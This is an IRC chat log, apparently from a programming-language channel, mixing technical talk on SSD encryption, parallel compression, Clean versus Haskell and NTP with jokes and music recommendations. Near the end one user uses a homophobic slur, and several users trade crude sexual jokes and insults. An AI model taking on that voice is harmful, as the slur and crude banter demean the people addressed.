20:22:37 <ehird> if JS had a bit more unique syntax and emphasized its unconventional features some more, it would be better.
20:22:46 <Deewiant> AnMaster: I'm not trying for an esolang here :-P
20:22:53 <AnMaster> ehird, what unconventional features
20:23:13 <ehird> AnMaster: Right proper full closures. Prototype-based OO. + some others.
20:23:28 <ehird> It has generators too.
20:23:37 <ehird> OH SHIT I STARTED A SENTENCE WITH AND
20:25:01 <ehird> bsmntbombdood_: writing to what?
20:25:16 <ehird> bsmntbombdood_: that's really odd. what speed do you get on the mechanical disk?
20:25:26 -!- Gracenotes has joined.
20:26:00 <ehird> bsmntbombdood_: possibly a bottleneck in tar... but what SSDs are not very good at is large sequential writes, not reads
20:26:06 <ehird> so i really don't know
20:26:09 <Deewiant> ehird: No other decent such languages?
20:26:10 <ehird> bsmntbombdood_: try lzma(1) or sth
20:26:32 <ehird> bsmntbombdood_: lzma can pack multiple files, can't it?
20:26:47 <ehird> bsmntbombdood_: use a zipper then; I'm just trying to think of a non-tar file-buncher
20:26:51 <ehird> to see where the bottleneck is
20:28:07 <ehird> bsmntbombdood_: i have them quite often. what is it
20:28:22 <bsmntbombdood_> but a single core of this processor can only get about 100mb/s
20:28:22 <ehird> bsmntbombdood_: Don't use truecrypt.
20:28:41 <ehird> bsmntbombdood_: Well, don't encrypt the OS drive; that's just ridiculous.
20:28:46 <ehird> Encrypt /etc, /var and /home?
20:29:03 <bsmntbombdood_> so i'm going to split the ssd into two partitions, encrypt each one, then raid0 them
20:29:15 <ehird> bsmntbombdood_: While you're at it, set the alignment stuff.
20:29:17 <bsmntbombdood_> ehird: i've already got everything but /boot encrypted
20:29:22 <ehird> But I think your random-access performance will suffer.
20:30:31 <Deewiant> Meh, I guess I could just do it in Haskell.
20:30:47 <AnMaster> <ehird> But I think your random-access performance will suffer.
20:30:47 <AnMaster> <Deewiant> Meh, I guess I could just do it in Haskell.
20:31:05 <ehird> AnMaster: That... doesn't make any sense.
20:31:08 <ehird> bsmntbombdood_: http://thunk.org/tytso/blog/2009/02/20/aligning-filesystems-to-an-ssds-erase-block-size/
20:31:45 <ehird> bsmntbombdood_: Oh, and SECURE ERASE before doing it to clean up the dead blocks.
20:31:48 <ehird> ( http://ata.wiki.kernel.org/index.php/ATA_Secure_Erase )
20:31:49 <AnMaster> ehird, s/haskell/the ultimate tool to solve everything/
20:32:26 <bsmntbombdood_> ehird: i mean, how would random access performance suffer
20:32:46 <AnMaster> challenge: turn "make sense" into something that could go in the place of X in: "foo is X"
20:32:54 <ehird> bsmntbombdood_: well, I'm not sure how whole-fs encryption actually works
20:33:17 <ehird> bsmntbombdood_: then it should work. but why encrypt your OS?
20:33:29 <ehird> Deewiant: Clean = Haskell - monads + uniqueness types.
20:33:37 <ehird> So, uh, your IO code would look a little different.
20:33:46 <ehird> bsmntbombdood_: >-<
20:33:53 <Deewiant> ehird: Whoop bigger has yet to be encountered.
20:34:12 -!- coppro has quit ("The only thing I know is that I know nothing").
20:34:13 <ehird> Deewiant: Sure it has, you just dismiss it as whoop too big :P
20:34:14 <Deewiant> Although I guess learning some of the freakier GHC extensions counts as some whoop.
20:34:24 <AnMaster> ehird, what does it use in place of monads?
20:34:33 <Deewiant> ehird: Yeah, I have a whoop limit for this task.
20:34:51 <ehird> AnMaster: Uniqueness types.
20:35:14 <ehird> Deewiant: they're useful for... side effects.
20:35:20 <ehird> contrast with monads, which are useful for a shit ton of stuff.
20:36:22 <ehird> Deewiant: Oh, and in Clean, [x:xs] is Haskell's (x:xs), instead of Haskell's [(x:xs)]. And "a -> b -> c" is "a b -> c", which is stupid.
20:36:34 <ehird> And "f . g" is "f o g" and "-5" is "~5" because ARBITRARY RUBBISH CHANGES <3
20:36:40 <AnMaster> <ehird> contrast with monads, which are useful for a shit ton of stuff. <-- shit ton, about 1.27 metric tons
20:36:57 <ehird> AnMaster: 27.8 actually
20:37:02 <ehird> http://www.urbandictionary.com/define.php?term=shit-ton
20:37:21 <GregorR> There are three kinds of people: Those who don't get this joke, those who think it's not funny, and those who both understand binary and enjoy bad meta-humor.
20:37:36 <ehird> GregorR: I fit into the 4th category.
20:38:04 <ehird> GregorR: ...in base 4.
20:38:26 <ehird> Soe, Kris, what are you doing tonight?
20:38:27 <AnMaster> GregorR, I'm also in the 10th category.
20:38:42 <ehird> bsmntbombdood_: that's as fast as you can get?
20:38:46 <ehird> i'd expect a lot faster
20:39:08 <ehird> that's just 52.5MB/sec
20:39:10 <ehird> which is kind of lame.
20:39:21 <ehird> i'd totally think you can get 1GB/sec
20:39:46 -!- MigoMipo has quit (Nick collision from services.).
20:39:47 -!- MigoMipo_ has joined.
20:40:02 <pikhq> cat hits about 60 mbytes.
20:40:06 <ehird> bsmntbombdood_: use all of them then. :D
20:40:19 <pikhq> ehird: gzip is not highly parallel.
20:40:42 <ehird> pikhq: so make it >:)
20:40:45 <pikhq> Bzip22 is, but no implementations of it are threaded.
20:41:13 <ehird> eleven times better
20:41:13 <bsmntbombdood_> pikhq: there a parallel implementations of gzip that split the file into big blocks
20:41:16 <ehird> bsmntbombdood_: buy 75 of them
20:41:56 <bsmntbombdood_> but bzip2 you can paralellize the bwt and get exactly the same output as the sequential version
20:42:30 <ehird> bsmntbombdood_: run pbzip2 and measure that shit
20:42:38 -!- upyr[emacs] has joined.
20:43:10 <GregorR> `wolfram distance to uranus
20:43:22 <HackEgo> distance to uranus \ \ Input interpretation: \ \ Uranus \ Current result: \ \ distance from Earth \ \ 20.03 AU astronomical units \ Value: \ \ 2.996 109 km kilometers \ Comparisons as distance: \ \ 0.2 \ \ 15 \ \ August 2006 distance of Voyager 1 from the sun 1.496 1010 km \ \ Corresponding quantity: \ \ Solar
20:43:26 <GregorR> `wolfram distance to your anus
20:43:31 <ehird> bsmntbombdood_: 4-8x speedup (depending on whether it's conditioned on cores or threads) is pretty good
20:44:34 <GregorR> AnMaster: Idonno, something about pdftotext
20:44:45 <ehird> bsmntbombdood_: did you set liek 8 threads?
20:44:52 <ehird> bsmntbombdood_: try 4?
20:44:59 <ehird> hyperthreading is prolly killing it :P
20:47:20 <AnMaster> so hyperthreading kills it then
20:47:24 <AnMaster> bsmntbombdood_, what about 1 core
20:48:00 <ehird> http://forums.somethingawful.com/showthread.php?threadid=3156628 ← my grasp of english is waning
20:48:14 <pikhq> http://pthree.org/2008/12/14/lzma/ So dumb.
20:48:28 <ehird> dumb like YOUR MOM and that rhymes.
20:48:34 <pikhq> "Let's compare compression algorithms using contrived cases that have nothing to do with how good the algorithm is!"
20:48:45 <ehird> pikhq: that's lollerific
20:49:01 <ehird> bsmntbombdood_: now get it to 1000000 jiggabytes.
20:49:33 <pikhq> He tests compression by compressing /etc (valid comparison), then a bunch of JPEGs and AVIs (... Great. All that can be compressed is metadata), then 512M of 0s.
20:49:47 <ehird> "English, motherzorker! Do you doatch it?"
20:49:47 <pikhq> bsmntbombdood_: Of JPEGs and AVIs.
20:49:49 <AnMaster> <ehird> http://forums.somethingawful.com/showthread.php?threadid=3156628 ← my grasp of english is waning <-- I don't understand it either
20:50:06 <ehird> AnMaster: Keep reading. It's like taking drugs without the drugs!
20:50:43 <pikhq> That's the only valid test.
20:50:47 <pikhq> The other two are dumb.
20:50:59 <ehird> God, I hate people who say "tl;dr". Because your idiotic soundbites and bits of compacted media and entertainment that you love so much has made your brain incapable to read anything more than a paragraph or two lest your now severe ADHD kick in.
20:51:04 <ehird> Get off the fucking internet.
20:51:13 <pikhq> And from those two, he concludes that LZMA sucks. Even though he got really good results from the /etc tarball.
20:52:21 <ehird> bsmntbombdood_: that's 4 threads WITH HYPERTHREADING
20:52:25 <ehird> you can only disable hyperthreading with a reboot
20:52:27 <AnMaster> ehird, I learnt saying "tl;dr" from you in fact.
20:52:44 <ehird> bsmntbombdood_: if you disabled hyperthreading and used 4, it may do better
20:53:24 <pikhq> Depends on how cache-bound pigz is, and how much cash thrashing results from what else you're doing.
20:53:54 <Deewiant> AnMaster: Read starting from "Q1:"
20:54:10 <ehird> Deewiant: more than a paragraph;didn't read
20:55:52 <ehird> I mentioned last time that we can actually map directions sensibly to Gostakian. The directions are "hoff", "jirf", "kirf", and "loff", or, for short, HJKL.
20:55:52 <ehird> These should be familiar to many of you.
20:56:32 -!- KingOfKarlsruhe has joined.
20:57:03 <pikhq> I prefer Emacs. C-A-M-S-p, anyone?
20:57:12 <ehird> pikhq: C-R-A-M-P-s
20:57:52 <ehird> AnMaster: Uncultured swine!
20:57:54 <AnMaster> iirc emacs doesn't use the Super key
20:58:26 <ehird> bsmntbombdood_: nice(1) that bitch
20:58:55 <ehird> oh, fuck it, you're an idiot
20:59:05 <bsmntbombdood_> no, i mean, with 9 compute-bound threads running, none of the processors goes above 85% or so
20:59:12 <AnMaster> ehird, ionice -c 1... REAL TIME IO PRIORITY!
20:59:23 <AnMaster> FOR WHEN IT REALLY MATTERS(TM)
20:59:25 <ehird> bsmntbombdood_: that's hyperthreading
20:59:32 <ehird> i heard something like that about it
20:59:32 <pikhq> bsmntbombdood_: Yes. That's *hard drive* overhead.
21:00:04 <pikhq> ehird: ... Is still slower than RAM, which is still slower than cache.
21:00:20 <ehird> bsmntbombdood_: try it without multithreading!!!!!!!!!111
21:00:27 <ehird> bsmntbombdood_: also, use an L1 disk.
21:00:39 <ehird> can you do that? you should be able to do that.
21:00:47 <ehird> THIRTY TWO KILOBYTES
21:01:07 <ehird> bsmntbombdood_: L3 then, how much of that 8MB are you actually using, PUNK :P
21:01:28 <pikhq> ehird: You can turn L1 into RAM. ... This only works in Ring 0, and is only used in BIOS code.
21:01:36 <ehird> bsmntbombdood_: YES BUT SPEED
21:01:42 <ehird> [[Top Gear's Stig 'to be unveiled']]
21:01:44 <pikhq> (for the obvious reason that there's no RAM until the BIOS turns it on.)
21:01:58 <bsmntbombdood_> ehird: with good caching algorithms in the cpu, speed will be the same
21:02:05 <ehird> bsmntbombdood_: meh.
21:05:52 <AnMaster> <pikhq> ehird: You can turn L1 into RAM. ... This only works in Ring 0, and is only used in BIOS code. <-- it is?
21:06:07 <AnMaster> and I didn't know it was possible
21:06:12 <ehird> AnMaster: Nooo. They just put everything in the registers.
21:06:33 <AnMaster> ehird, I thought it used system ram...
21:06:42 <ehird> How can it do that when it hasn't initialized it?
21:06:54 <AnMaster> ehird, something on chipset then!
21:08:51 -!- KingOfKarlsruhe has left (?).
21:09:23 -!- coppro has joined.
21:12:28 <pikhq> I don't recall how.
21:13:57 -!- kar8nga has joined.
21:23:40 <ehird> Iron a person! a person!
21:24:36 <ehird> "Gnote is[...]a fork of Tomboy, doing a line-by-line translation of the source into C++."
21:24:38 <ehird> Now THAT'S stupid.
21:25:03 <coppro> oh right, ehird detests C++
21:25:11 <ehird> coppro: that wasn't what I meant
21:25:31 <ehird> coppro: I was referring to the idiocy of doing such manual compilation because of a misguided hate of Mono.
21:25:59 <ehird> Gracenotes: Dude, that's like eating shit.
21:26:07 <ehird> And then vomiting the shit.
21:30:14 <ehird> bsmntbombdood_: No; we're talking about C++.
21:33:49 -!- oerjan has joined.
21:34:49 <ehird> bsmntbombdood_: I was likening it to eating then vomiting excrement.
21:35:04 <ehird> We're talking about coprophilia.
21:35:11 <ehird> Not, however, copprophilia.
21:35:17 <ehird> bsmntbombdood_: maybe it already is
21:36:32 <oerjan> i should have known it was a bad idea to log on...
21:38:05 <bsmntbombdood_> i'm only using like 10 gigabytes, but the compressed image is already 40
21:44:24 <HackEgo> Seems a computer engineer, a systems analyst, and a programmer were \ driving down a mountain when the brakes gave out. They screamed down the \ mountain, gaining speed, but finally managed to grind to a halt, more by \ luck than anything else, just inches from a thousand foot drop to jagged \ rocks. They all got out of the
21:50:36 -!- kar8nga has quit (Remote closed the connection).
21:52:46 <oerjan> <AnMaster> same as Brutto Nationalprodukt then <-- actually there is a difference between gross domestic product and gross national product
21:53:36 <FireFly> IIRC swedish BNP is equal to english GDP
21:53:41 <AnMaster> oerjan, what would "gross domestic product" be in Swedish then
21:55:15 <oerjan> i think that might be "bruttonationalprodukt", confusing enough
21:56:01 <AnMaster> oerjan, err are you saying both are the same?
21:56:20 <oerjan> no, i am saying that the interwiki links are that way
21:56:50 <oerjan> the english term "gross national product" may refer to an older obsolete variant, i think
21:57:01 <oerjan> http://en.wikipedia.org/wiki/Gross_domestic_product#GDP_vs_GNP
21:57:30 <FireFly> As well as http://en.wikipedia.org/wiki/GNP#GDP_vs._GNP
21:58:23 <oerjan> hm interesting there _are_ wikilinks from both the english articles to bruttonationalprodukt
21:58:36 <AnMaster> oerjan, yes that happens, it is broken though
21:59:17 <AnMaster> the wikibot I used tends to dump a dot file showing the links when that happens
21:59:58 -!- MigoMipo_ has quit ("QuitIRCServerException: MigoMipo disconnected from IRC Server").
22:01:04 <oerjan> and interestingly, it links to the norwegian "bruttonasjonalprodukt", which links back to the entirely different http://en.wikipedia.org/wiki/Measures_of_national_income_and_output
22:01:56 <oerjan> that is the same article
22:03:23 <oerjan> conclusion, this is a total mess
22:08:37 <GregorR> THIS? IS? MIS-USING? A? MEME?
22:12:55 <oerjan> <ehird> Deewiant: Forth, Factor, Cat. <-- Postscript!
22:20:40 <oerjan> 12:36:34 <ehird> And "f . g" is "f o g" and "-5" is "~5" because ARBITRARY RUBBISH CHANGES <3
22:21:06 <oerjan> i think clean may actually be older than haskell, so it's not quite its fault
22:21:42 <oerjan> haskell was made to consolidate a lot of slightly incompatible predecessors
22:34:50 <AnMaster> <GregorR> THIS? IS? MIS-USING? A? MEME? <--- what meme?
22:35:21 <AnMaster> what meme lead to those question markls
22:35:30 <AnMaster> I do know the sparta meme of course
22:35:43 <oerjan> i would never have guessed
22:35:56 <oerjan> and i mean that entirely literally
22:36:09 <oerjan> that you knew the sparta meme until you sid so
22:37:15 <oerjan> you were seeming to provide proof that you didn't
22:37:28 <AnMaster> oerjan, I wondered what meme the ? one was
22:38:08 <oerjan> you seem to have a lack of meta-joke logic :D
22:39:33 <oerjan> anyway hint: the ?'s _are_ the misuse
22:40:35 <ehird> Deewiant: incidentally,
22:40:36 <ehird> Clean is available for Microsoft Windows. It is also available with limited input/output capabilities and without the "Dynamics" feature for Apple Macintosh, Solaris and Linux.
22:40:38 <oerjan> well apart from the sparta meme being so tired that almost any use is a misuse these days :)
22:42:20 <AnMaster> ehird, ever seen the OS 9 option for NTP syncing the clock?
22:42:31 <ehird> AnMaster: I really don't care
22:43:14 <ehird> AnMaster: Here's how it works in OS X!!!111cos(0):
22:43:17 <ehird> http://imgur.com/T34f6.png
22:43:37 <AnMaster> ehird, (*) Manually, ( ) Every [integer] [hour/day/week/month] ( ) Automatically when the computer clock shows a different value than the time server
22:43:43 * AnMaster wonders what the third one actually means
22:44:01 <ehird> AnMaster: that's weird-ass.
22:44:04 <ehird> ntp should sync like every second :-P
22:44:11 <ehird> AnMaster: but remember, dialup
22:44:18 <ehird> working on a book in Word...
22:44:21 <ehird> tap tap tap tap tap
22:44:25 <ehird> BRRRRRRRRRRRRRING! BA-DA-BA-DA
22:44:33 <ehird> Oh god, it's time for the minute's NTP update.
22:44:36 <ehird> KRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRAIRRRRRRRRRRRRRRRR
22:44:37 <AnMaster> ehird, actually no... not every second. Those time server owners would be furious
22:44:48 <ehird> "Thank god that's over."
22:44:53 <ehird> Solution: Do it less often!
22:45:12 <ehird> are there any ntp servers hooked up directly to an atomic clock?
22:45:44 <AnMaster> remote local st poll reach delay offset disp
22:45:44 <AnMaster> =======================================================================
22:45:44 <AnMaster> *Time4.Stupi.SE 192.168.0.64 1 1024 377 0.02808 -0.002401 0.12183
22:45:44 <AnMaster> =timehost.lysato 192.168.0.64 1 1024 377 0.03018 -0.003012 0.12183
22:45:45 <AnMaster> =ntp1.playstar.s 192.168.0.64 2 1024 377 0.02940 -0.003424 0.13672
22:45:47 <AnMaster> =pallid.bsnet.se 192.168.0.64 2 1024 377 0.03770 -0.002706 0.12173
22:46:19 <AnMaster> I think it will next poll in 1024 seconds there
22:46:51 <AnMaster> remote refid st t when poll reach delay offset jitter
22:46:51 <AnMaster> ==============================================================================
22:46:51 <AnMaster> +timehost.lysato .GPS. 1 u 477 1024 377 30.186 -3.012 0.779
22:46:59 <AnMaster> so in 477 seconds for that one
22:47:41 <ehird> bsmntbombdood_: i mean -directly-
22:47:53 <AnMaster> ehird, though that one was hooked up to a gps
22:48:08 <AnMaster> that is what the refid column mean
22:48:11 <AnMaster> *Time4.Stupi.SE .PPS. 1 u 542 1024 377 28.083 -2.401 1.865
22:48:32 <AnMaster> bsmntbombdood_, how is that a refid
22:51:25 -!- coppro has quit (Read error: 54 (Connection reset by peer)).
23:00:51 <ehird> 22:59 gwern is surprised x11 is so old. I really had thought it was written shortly before xmonad
23:00:54 <ehird> CONTEXT IS FOR FOOS
23:02:01 <oerjan> now if xmonad had been written shortly after x11, the world could have been programming in haskell (or its successor) now...
23:02:50 <ehird> am I mad that I like ocaml for some things?
23:03:03 <ehird> for instance, writing a compiler
23:04:08 <oerjan> no, not for that reason
23:05:33 <ehird> 22:59 gwern: '97, so x11 is older than edison
23:05:36 <ehird> also out of context!
23:05:55 <ehird> edison stole the backlight from tesla!!
23:18:16 * ehird watches GODI compile ocaml and shit
23:18:27 <ehird> its shit is like unto shit.
23:20:04 <AnMaster> <ehird> hurf hurf <-- you started saying this recently iirc. Is it some sort of new meme?
23:20:23 <ehird> AnMaster: well 'hurf durf' is an ancient metafilter meme, but I just had occasion to use it and I liked it.
23:22:16 <ehird> hey, GODI is actually working this time
23:23:26 <ehird> GregorR: AnMaster just ruined the appeal of #esoteric-no-ehird.
23:23:33 <ehird> Now it actually has a lesser percentage of ehird than here.
23:23:41 <ehird> Let's do a hostile takeover.
23:23:53 * GregorR does a hostile makeover instead.
23:23:55 <ehird> Actually, the channel name is wrong.
23:24:06 <ehird> #esoteric-without-ehird, everyone!
23:24:23 * oerjan does a hostile bakeover
23:24:33 <ehird> Far ouuuuuuuuuuut.
23:24:53 <ehird> AnMaster: You don't have to leave. You're allowed.
23:25:09 <ehird> I know. I'm on the lookout for ehird.
23:25:18 <ehird> Don't worry; if I find him I will bring justice against him
23:25:24 <ehird> AnMaster: Of course.
23:25:31 <ehird> I stand in firm disagreement with everything I stand for.
23:25:38 <ehird> And I will set an example to myself.
23:25:49 <AnMaster> "<ehird> I stand in firm disagreement with everything I stand for."
23:25:54 <ehird> We have an express no-tolerance policy on ehird.
23:26:06 <GregorR> I prefer #esoteric-but-only-GregorR
23:26:25 <ehird> GregorR: Invite me!
23:26:42 <GregorR> IT WOULDN'T BE ONLY GREGORR THEN NOW WOULD IT
23:27:19 <AnMaster> * AnMaster sets modes [#esoteric-but-only-ehird +i]
23:27:30 <ehird> [ehird:~/Downloads/godi-rocketboost-20080630] % ocaml
23:27:30 <ehird> Objective Caml version 3.10.2
23:27:38 <AnMaster> * AnMaster has changed the topic to: The channel name is a lie
23:27:50 <ehird> AnMaster: Try "The channel topic is a lie"
23:28:12 * ehird ocamls GregorR's caml
23:35:06 -!- coppro has joined.
23:41:48 <ehird> i'm starting a new movement
23:41:56 <ehird> the people for the replacement of parenthicals with whitespace
23:43:28 -!- GreaseMonkey has joined.
23:43:39 <FireFly> Why not go for polish notation?
23:44:35 <ehird> Because your butt.
23:44:59 <ehird> I CAN FLYYYYYYYYYYYY
23:46:15 <ehird> oerjan: You're killing air kittens.
23:46:40 <ehird> People for the ethical treatment of anuses
23:46:49 <oerjan> people for the ethical treatment of zombie animals?
23:47:04 <GregorR> People for the ethical treatment of zombie anuses?
23:48:39 <ehird> Objective Caml version 3.11.1
23:52:09 <AnMaster> anyone want some freeze dried ice cream
23:52:33 <ehird> Oh like the stuff they eat in space.
23:52:42 <ehird> yeah I imagine that's awful
23:52:45 <GregorR> They sell it in all the science museums in the US.
23:52:58 <AnMaster> ehird, yes, it says "austronaut food" on it. I haven't opened it yet
23:53:09 <ehird> AnMaster: http://en.wikipedia.org/wiki/Freeze-dried_ice_cream even astronauts didn't like it
23:53:11 <GregorR> AnMaster: It's ... interesting.
23:53:12 <AnMaster> but thought, cheap enough to try. Sold to tourists
23:53:54 <GregorR> It's not /terrible/, it mostly has texture issues.
23:54:28 <AnMaster> thought it was worth trying at least. only 30 SEK
23:55:41 <ehird> AnMaster: JUST EAT IT!
23:55:50 <HackEgo> 30 Swedish kronor = 3.79833 U.S. dollars
23:55:57 <ehird> AnMaster: NO NOW WE CAN'T WAIT DAMMIT
23:56:07 <ehird> You got us all excited.
23:56:39 <AnMaster> and flash doesn't result in nice soft shadows
23:56:51 <AnMaster> natural light photography ftw!
23:57:53 <AnMaster> "Freeze-dried ice cream is ubiquitous in science museum gift shops, sometimes accompanied by other freeze-dried foods such as ice-cream sandwiches, various sliced fruits, and even pizza."
23:58:19 <AnMaster> rocket launch facility gift shop
00:12:06 <GregorR> `addquote <AnMaster> that's where I got it <AnMaster> rocket launch facility gift shop
00:12:07 <HackEgo> 7|<AnMaster> that's where I got it <AnMaster> rocket launch facility gift shop
00:12:43 <AnMaster> why was that worth adding as a quite
00:12:45 <GregorR> The concept of a rocket launch facility having a gift shop is weird :P
00:12:55 <ehird> GregorR: Oh I thought you meant like it=sex.
00:13:00 <ehird> Because that was funny because it references sex.
00:13:02 <AnMaster> GregorR, Kennedy Space Center gift shop exists
00:13:39 <GregorR> But that's a SPACE rocket launch facility :P
00:13:40 <ehird> AnMaster: Thank you.
00:13:52 <GregorR> Erm, opposite, landing, but whatever.
00:14:02 <AnMaster> ehird, I didn't mean that as a compliment (sp?)
00:14:08 <ehird> AnMaster: That's your problem.
00:14:20 <ehird> `addquote <AnMaster> that's where I got it <AnMaster> rocket launch facility gift shop
00:14:21 <HackEgo> 7|<AnMaster> that's where I got it <AnMaster> rocket launch facility gift shop
00:15:00 <AnMaster> ehird, it is GregorR's bot. Respect what he decides.
00:15:09 <ehird> `addquote <AnMaster> that's where I got it <AnMaster> rocket launch facility gift shop
00:15:10 <HackEgo> 8|<AnMaster> that's where I got it <AnMaster> rocket launch facility gift shop
00:15:16 <GregorR> It's the world's most hackable bot, don't respect anybody for anything.
00:15:21 <ehird> `addquote <AnMaster> that's where I got it <AnMaster> rocket launch facility gift shop
00:15:23 <HackEgo> 7|<AnMaster> that's where I got it <AnMaster> rocket launch facility gift shop
00:15:25 <ehird> AnMaster: we can go at this all day.
00:15:28 <ehird> `addquote <AnMaster> that's where I got it <AnMaster> rocket launch facility gift shop
00:15:29 <HackEgo> 7|<AnMaster> that's where I got it <AnMaster> rocket launch facility gift shop
00:20:44 -!- BeholdMyGlory has quit (Remote closed the connection).
00:27:48 <ehird> see above what i said
00:28:08 <augur> i saw. i dont get it
00:29:39 <augur> he typed some stuff in ocaml, i guess. i dont know what he was trying to show me
00:29:48 <ehird> augur: no, above that
00:30:04 <ehird> AnMaster: dude, its evening in the us
00:31:15 <augur> also, regarding the spaces in place of parens: russell and whitehead had some sort of interesting system for avoiding parens, apparently
00:31:32 <augur> to show precedence relationships
00:31:52 <ehird> augur: immediately above
00:32:06 <ehird> augur: it was a joke about you being gay or something I think
00:32:27 <ehird> 23:47 GregorR: People for the ethical treatment of zombie anuses?
00:32:29 <ehird> 23:47 ehird: augur:
00:32:37 <ehird> augur: It was just a one-off joke.
00:32:40 <ehird> hurf durf anal sex etc.
00:34:02 <oerjan> augur, now our token gay member.
00:34:16 <augur> i thought i was always your token homosexual
00:35:49 <pikhq> ... People care about that?
00:36:25 <pikhq> Thought that at least on the Internet we were sane, reasonable people.
00:36:34 <GregorR> "People for the Ethical Treatment of Zombie Anuses" doesn't really come across as gay per se to me X-P
00:36:48 <oerjan> reasonable, occasionally
00:37:03 <oerjan> lousy sense of humor, always
00:37:55 <oerjan> GregorR: well that would be homosexual necrophilia
00:38:14 <oerjan> and maybe coprophilia too, since that was mentioned earlier
00:38:22 <GregorR> Depending on the kinkiness-level involved, "ethical treatment" may be disputable in any case :P
00:38:23 <augur> oerjan: its not necrophilia
00:38:43 <oerjan> would that be anecrophilia, then?
00:38:47 <pikhq> Ah. Missed the context.
00:39:21 <oerjan> this. is. greek. no funny portmanteaus here, please.
00:39:43 <oerjan> proper prefixes and suffixes, than you
00:40:59 <oerjan> ah still a portmanteau
00:43:27 <oerjan> i don't think zombies are considered animals (more than humans), are they
00:43:52 <Slereah_> Zombro makes me think of sombreroes
00:44:10 <oerjan> that r is so out of place
00:44:26 <Slereah_> Can we make out while wearing giant sombreroes?
00:45:22 <Slereah_> Don't put them on top of your brain fool!
00:45:34 <oerjan> hm do they make giant sombreros with two head whatchamacallits?
00:46:31 <oerjan> like those gloves i saw (on reddit?) a while ago
00:47:24 <Slereah_> I posted them on Secret area of VIP quality
00:49:21 <oerjan> "two headed sombrero" does not google :(
00:50:36 <AnMaster> <oerjan> like those gloves i saw (on reddit?) a while ago <-- link
00:52:28 <oerjan> Slereah_: apparently so, "VIPPER is the guy who hijacks that thread and changes the subject to MITTENS."
00:53:39 <Slereah_> Mittens are kind of a 4-ch and SAoVQ thing, not sure 4chan gets much mittens
00:54:21 <oerjan> this stuff is confusing
00:55:51 <oerjan> AnMaster: the company site is http://www.smittens.biz/Smittens/Home.html, i don't recall the actual reddit link
00:56:00 -!- FireFly has quit ("Later").
00:56:54 <oerjan> that link had a cheesy picture of a couple using them
00:58:39 <oerjan> ah http://www.crunchgear.com/2009/01/21/smittens-worlds-dumbest-mittens/
01:01:29 <augur> hes not dissing mittens
01:01:32 <augur> hes dissing smittens.
01:01:39 <augur> click the link, faggot
01:02:40 <Slereah_> Part of the mitten brotherhood
01:02:55 <GregorR> Are you smitten with mittens on kittens?
01:03:01 <oerjan> don't dis people. like this there adolf friend of mine...
01:03:52 <oerjan> GregorR: he might have been bitten
01:05:23 <GregorR> No one wants to be bitten by smitten kittens with mittens.
01:06:06 <Slereah_> Biden bitten by smitten kittens with mittens
01:06:11 <GregorR> ......... /me has no idea what that's supposed to refer to :P
01:06:22 <GregorR> You realize "Biden" doesn't rhyme with "bitten", right?
01:06:22 <oerjan> you may be hitt'n on something there...
01:06:47 <Slereah_> Best I could do on such short notice
01:08:22 <oerjan> biden and bitten are close when written
01:08:45 <GregorR> And yet, pronounced so differently :P
01:09:18 * oerjan may never have actually heard the name
01:09:49 <GregorR> You're forbidden to sit in, because your -ittens don't fit in.
01:10:26 <oerjan> well in that case i'm quittin'
01:34:57 -!- inurinternet has quit (Connection timed out).
02:10:11 -!- inurinternet has joined.
02:19:10 -!- Warrigal has quit ("leaving").
03:02:50 -!- upyr[emacs] has quit (Remote closed the connection).
03:14:24 -!- oerjan has quit ("Good night").
03:14:44 -!- bsmntbombdood_ has changed nick to bsmntbombgirl.
03:58:19 <pikhq> GregorR: I am of the opinion that I should listen to classical other than the works of Nobuo Uematsu.
03:58:43 <pikhq> (beyond critiquing my usage of the term 'classical'?)
04:01:30 <GregorR> All classical is other than the works of Nobuo Uematsu :P
04:01:52 <GregorR> Also, I'd recommend starting with Romantic and Baroque and working your way inwards.
04:02:40 <GregorR> Also, GREGOR HATE BEING SWEATY
04:04:51 <pikhq> Specific suggestions.
04:05:04 <GregorR> I suggest that you log in to AIM with a non-shitty client.
04:05:20 <pikhq> You're talking to someone who is barely aware of the terms "Romantic" and "Baroque", and wants to broaden his horizons.
04:05:27 <pikhq> Define 'non-shitty'?
04:05:35 <GregorR> One which can receive sent files.
04:05:56 <pikhq> Let's see if I *have* one.
04:30:55 -!- Warrigal has joined.
04:31:08 <Warrigal> Yay, I am now connected from lunch.normish.org.
04:31:22 <Warrigal> Be jealous; I command you. :-P
04:33:00 <lament> pikhq: start with vivaldi!
04:35:34 <lament> whatever. he sucks anyway.
04:35:40 <CESSMASTER> also, if you're going to name baroque composers and omit bach, you're a prick
04:35:52 <CESSMASTER> and jeeze, don't omit the late renaissance
04:35:56 <lament> nono, this is intentional
04:36:04 <CESSMASTER> palestrina, orlando di lasso, these are all wonderful
04:36:09 <lament> you would start with vivaldi and go on to bach
04:36:16 <lament> starting with palestrina is already a bit odd
04:36:52 <lament> the reason i want to start with vivaldi is so that then you can switch to bach and appreciate how awesome bach is
04:37:10 <lament> palestrina is too different from modern stuff to be at all comparable, imo
04:37:30 <CESSMASTER> who cares about comparable, it's amazing music
04:38:36 <lament> there's tons of amazing music out there
04:39:09 <lament> it makes sense to start with the more mainstream stuff though
04:39:11 <CESSMASTER> there's not tons of music of palestrina's caliber
04:40:30 <lament> what about every other big name
04:41:08 <lament> there's like 15 composers who're better known than palestrina, are you saying any of them are worse?
04:41:41 <CESSMASTER> and there are plenty of people better known than Palestrina who are worse
04:41:53 <augur> i would say there are a LOT of composers better known than palestrina
04:41:57 <lament> CESSMASTER: well come on.
04:42:09 <lament> first, you really really suck
04:42:10 <CESSMASTER> who else is famous and worse than palestrina
04:42:15 <pikhq> Nice thing about having eclectic tastes is being introduced to whole new genres, rather than just new groups, artists, etc...
04:42:23 <CESSMASTER> strauss is bombastic substance-free german nonsense
04:42:27 <lament> he's awesome just for that zarathustra intro
04:42:57 <CESSMASTER> strauss is like wagner, but with no point
04:43:22 <lament> that's just german romanticism. You can't blame him for belonging to a movement.
04:43:48 <CESSMASTER> there's plenty of post-wagner stuff that's not awful like strauss
04:44:31 <lament> pikhq: http://www.youtube.com/watch?v=rKZr3ExeXUc
04:45:58 <CESSMASTER> schoenberg's stuff at the ass-end of german romantic tonality is also quite good
04:53:32 <pikhq> You guys and your 'knowing this genre'.
04:58:12 <Warrigal> Malinowski is obscure but fun.
04:58:58 <Warrigal> Obscure enough that I should probably give his first name.
05:12:59 -!- amca has joined.
05:50:37 <Warrigal> Listening to music with the sound muted is so strange.
06:03:39 <Warrigal> Like putting on a blindfold and still seeing.
